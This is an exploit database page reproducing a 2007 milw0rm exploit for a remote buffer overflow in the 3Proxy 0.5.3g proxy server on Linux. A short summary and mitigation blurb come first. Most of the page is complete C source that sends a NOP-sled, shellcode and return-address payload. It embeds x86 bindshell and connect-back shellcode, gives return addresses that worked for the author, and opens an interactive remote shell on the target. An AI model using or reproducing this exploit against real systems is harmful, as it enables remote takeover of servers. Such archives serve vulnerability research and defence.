header-logo
Suggest Exploit
vendor:
3Proxy
by:
vade79/v9 (fakehalo/realhalo)
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: 3Proxy
Affected Version From: 0.5.3g
Affected Version To:
Patch Exists: NO
Related CWE:
CPE: a:3proxy:3proxy:0.5.3g
Metasploit:
Other Scripts:
Platforms Tested: Linux

3proxy[v0.5.3g]: (linux) remote buffer overflow exploit

This exploit targets the 3Proxy tiny free proxy server version 0.5.3g on Linux. The vulnerability is found in the logurl() function in proxy.c, where a buffer overflow can occur if the 'Host: [FILLER]' string exceeds the buffer boundary. By crafting a specific payload consisting of [NOPS][SHELLCODE][RETADDR], an attacker can execute arbitrary code on the target system.

Mitigation:

The vendor should release a patch to fix the buffer overflow vulnerability in the logurl() function. In the meantime, users can mitigate the risk by implementing proper input validation and buffer size checks in the affected function.
Source

Exploit-DB raw data:

/*[ 3proxy[v0.5.3g]: (linux) remote buffer overflow exploit. ]***
  *                                                             *
  * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)            *
  *                                                             *
  * compile:                                                    *
  *  gcc x3proxy.c -o x3proxy                                   *
  *                                                             *
  * syntax:                                                     *
  *  ./x3proxy [-pscr+] -h host                                 *
  *                                                             *
  * sumus homepage/url:                                         *
  *  http://3proxy.ru/                                          *
  *                                                             *
  * 3Proxy tiny free proxy server previously known as 3[APA3A]  *
  * tiny freeware proxy.                                        *
  *                                                             *
  * I just saw a (gentoo) advisory, and got curious how easy    *
  * it would be to exploit this.  The vulnerability is fairly   *
  * trival:                                                     *
  *                                                             *
  * ----------------------------------------------------------- *
  * GET /[NOPS][SHELLCODE][RETADDR]\n                           *
  * Host: [FILLER]\n\n                                          *
  * ----------------------------------------------------------- *
  *                                                             *
  * The length of "Host: [FILLER]" is exactly how many bytes    *
  * past the buffer boundary it will go, if it's not there it   *
  * won't overflow.  The vulnerability can be found in proxy.c  *
  * in the logurl() function. (buf[LINESIZE])                   *
  *                                                             *
  * I didn't work out a common place to find the shellcode in   *
  * memory.  but, the following values(-r option) worked for    *
  * me:                                                         *
  *  0x0805333c (gentoo/r2 0.5.3g src compile)                  *
  *  0x08054da8 (mandrake 0.5.3g src compile)                   *
  *                                                             *
  * It will probably be easiest to run through a debugger and   *
  * find where the address of the shellcode is.  (offsets of    *
  * around 1500 when brute guessing)                            *
  ***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFSIZE 2200
#define TIMEOUT 10
#define DFL_PORT 3128
#define DFL_SPORT 7979
#define DFL_RETADDR 0x08048004

/* globals. */
static char x86_bind[]= /* bindshell, from netric. */
 "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
 "\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
 "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
 "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
 "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
 "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
 "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
 "\x80";
static char x86_conn[]= /* connect-back, eSDee/netric. */
 "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51"
 "\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
 "\x31\xc0\x31\xc9\x51\x51\x68\xff\xff\xff\xff\x66\x68"
 "\xff\xff\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52"
 "\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74"
 "\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
 "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31"
 "\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
 "\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
 "\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd"
 "\x80";
char *x86_ptr;
struct{
 unsigned int addr;
 signed int off;
 char *host;
 unsigned short port;
 unsigned short sport;
}tbl;

/* lonely extern. */
extern char *optarg;

/* functions. */
char *getbuf(unsigned int);
unsigned short proxy_connect(char *,unsigned short);
signed int getshell_bind_init(unsigned short);
signed int getshell_bind_accept(signed int);
signed int getshell_conn(char *,unsigned short);
void proc_shell(signed int);
void printe(char *,short);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* start. */
int main(int argc,char **argv){
 signed int chr=0,rsock=0;
 unsigned int bs=0;
 struct hostent *t;
 in_addr_t s=0;
 printf("[*] 3proxy[v0.5.3g]: (linux) remote buffer overflow explo"
 "it.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
 tbl.port=DFL_PORT;
 tbl.sport=DFL_SPORT;
 tbl.addr=DFL_RETADDR;

 while((chr=getopt(argc,argv,"h:p:s:c:r:+:"))!=EOF){
  switch(chr){
   case 'h':
    if(!tbl.host&&!(tbl.host=(char *)strdup(optarg)))
     printe("main(): allocating memory failed",1);  
    break;
   case 'p':
    tbl.port=atoi(optarg);
    break;
   case 's':
    tbl.sport=atoi(optarg);
    break;
   case 'c':
    if((s=inet_addr(optarg))){
     if((t=gethostbyname(optarg)))
      memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
     if(s==-1)s=0;
     if(!s)printe("invalid host/ip. (-c option)",0);
    }
    break;
   case 'r':
    sscanf(optarg,"%x",&tbl.addr);
    break;
   case '+':
    tbl.off=atoi(optarg);
    break;
   default:
    usage(argv[0]);
    break;
  }
 }
 if(!tbl.host)usage(argv[0]);

 /* set bind port for shellcode. */
 if(!s){
  bs=strlen(x86_bind);
  x86_bind[20]=(tbl.sport&0xff00)>>8;
  x86_bind[21]=(tbl.sport&0x00ff);
  x86_ptr=x86_bind;
 }
 /* set connect-back ip/port for shellcode. */
 else{
  bs=strlen(x86_conn);
  x86_conn[33]=(s&0x000000ff);
  x86_conn[34]=(s&0x0000ff00)>>8;
  x86_conn[35]=(s&0x00ff0000)>>16;
  x86_conn[36]=(s&0xff000000)>>24;
  x86_conn[39]=(tbl.sport&0xff00)>>8;
  x86_conn[40]=(tbl.sport&0x00ff);
  x86_ptr=x86_conn;
 }
 if(bs!=strlen(x86_ptr))
  printe("ip(-c option) and/or port(-s option) appear to contain a "
  "null-byte, try again.",1);

 printf("[*] target\t\t\t: %s:%d\n",tbl.host,tbl.port);
 printf("[*] shellcode type\t\t: %s(port=%d)\n",
 (s?"connect-back":"bindshell"),tbl.sport);
 printf("[*] return address($eip)\t: 0x%.8x(+%d=0x%.8x)\n",tbl.addr,
 tbl.off,tbl.addr+tbl.off);

 if(s){
  rsock=getshell_bind_init(tbl.sport);
  proxy_connect(tbl.host,tbl.port);
  rsock=getshell_bind_accept(rsock);
 }
 else{
  proxy_connect(tbl.host,tbl.port);
  rsock=getshell_conn(tbl.host,tbl.sport);
 }
 if(rsock>0)proc_shell(rsock);
 exit(0);
}

/* make buf: "GET /[NOPS][SHELLCODE][RETADDR]\nHost: [FILLER]\n\n" */
char *getbuf(unsigned int addr){
 unsigned int i=0;
 char *buf;
 if(!(buf=(char *)malloc(BUFSIZE+1)))
  printe("getbuf(): allocating memory failed.",1);
 strcpy(buf,"GET /");
 memset(buf+5,'\x90',1800);
 strcat(buf,x86_ptr);
 for(i=strlen(buf);i<2100;i+=4){
  *(long *)&buf[i]=addr;
 }
 strcat(buf,"\nHost: ");
 memset(buf+strlen(buf),'x',(BUFSIZE-strlen(buf)-3-2));
 strcat(buf,"\n\n");
 return(buf);
}

/* connects to the vulnerable 3proxy server. */
unsigned short proxy_connect(char *hostname,unsigned short port){
 signed int sock;
 struct hostent *t;
 struct sockaddr_in s;
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 printf("[*] attempting to connect: %s:%d.\n",hostname,port);
 if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   printe("couldn't resolve hostname.",1);
  memcpy((char *)&s.sin_addr,(char *)t->h_addr,sizeof(s.sin_addr));
 }
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("3proxy connection failed.",1);
 alarm(0);
 printf("[*] successfully connected: %s:%d.\n",hostname,port);
 sleep(1);
 printf("[*] sending string: \"GET /[NOPS][SHELLCODE][RETADDR]"
 "\\nHost: [FILLER]\\n\\n\"\n");
 write(sock,getbuf(tbl.addr+tbl.off),BUFSIZE);
 sleep(1);
 printf("[*] closing connection.\n\n");
 close(sock);
 return(0);
}

/* binds locally for connect-back. */
signed int getshell_bind_init(unsigned short port){
 signed int ssock=0,so=1;
 struct sockaddr_in ssa;
 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
 ssa.sin_family=AF_INET;
 ssa.sin_port=htons(port);
 ssa.sin_addr.s_addr=INADDR_ANY;
 if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  printe("could not bind socket.",1);
 listen(ssock,1); 
 return(ssock);
}

/* accepts locally for connect-back. */
signed int getshell_bind_accept(signed int ssock){
 signed int sock=0;
 unsigned int salen=0;
 struct sockaddr_in sa;
 memset((char*)&sa,0,sizeof(struct sockaddr_in));
 salen=sizeof(sa);
 printf("[*] awaiting connection from: *:%d.\n",tbl.sport);
 alarm(TIMEOUT);
 sock=accept(ssock,(struct sockaddr *)&sa,&salen);
 alarm(0);
 close(ssock);
 printf("[*] connection established. (connect-back)\n");
 return(sock);
}

/* connects to bindshell. */
signed int getshell_conn(char *hostname,unsigned short port){
 signed int sock=0;
 struct hostent *he;
 struct sockaddr_in sa;
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  printe("getshell_conn(): socket() failed.",1);
 sa.sin_family=AF_INET;
 if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
   printe("getshell_conn(): couldn't resolve.",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
 }
 sa.sin_port=htons(port);
 signal(SIGALRM,sig_alarm);
 printf("[*] attempting to connect: %s:%d.\n",hostname,port);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",hostname,port);
  exit(1);
 }
 alarm(0);
 printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
 return(sock);
}

/* process the bind/connect-back shell. */
void proc_shell(signed int sock){
 signed int r=0;
 char buf[4096+1];
 fd_set fds;
 signal(SIGINT,SIG_IGN);
 write(sock,"uname -a;id\n",13);
 while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1)
   printe("getshell(): select() failed.",1);
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1)
    printe("getshell(): read() failed.",1);
   if(write(sock,buf,r)!=r)
    printe("getshell(): write() failed.",1);
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)exit(0);
   write(1,buf,r);
  }
 }
 close(sock);
 return;
}

/* error! */
void printe(char *err,short e){
 printf("[!] %s\n",err);
 if(e)exit(1);
 return;
}

/* usage. */
void usage(char *progname){
 printf("syntax: %s [-pscr+] -h host\n\n",progname);
 printf("  -h <host/ip>\ttarget hostname/ip.\n");
 printf("  -p <port>\ttarget port.\n");
 printf("  -s <port>\tconnect-back/bind port. (shellcode)\n");
 printf("  -c <host/ip>\tconnect-back host/ip. (enables "
 "connect-back)\n");
 printf("  -r <addr>\tdefine return address. (0x%.8x)\n",tbl.addr);
 printf("  -+ <offset>\tadds to the -r option address.\n\n");
 exit(0);
}

// milw0rm.com [2007-04-30]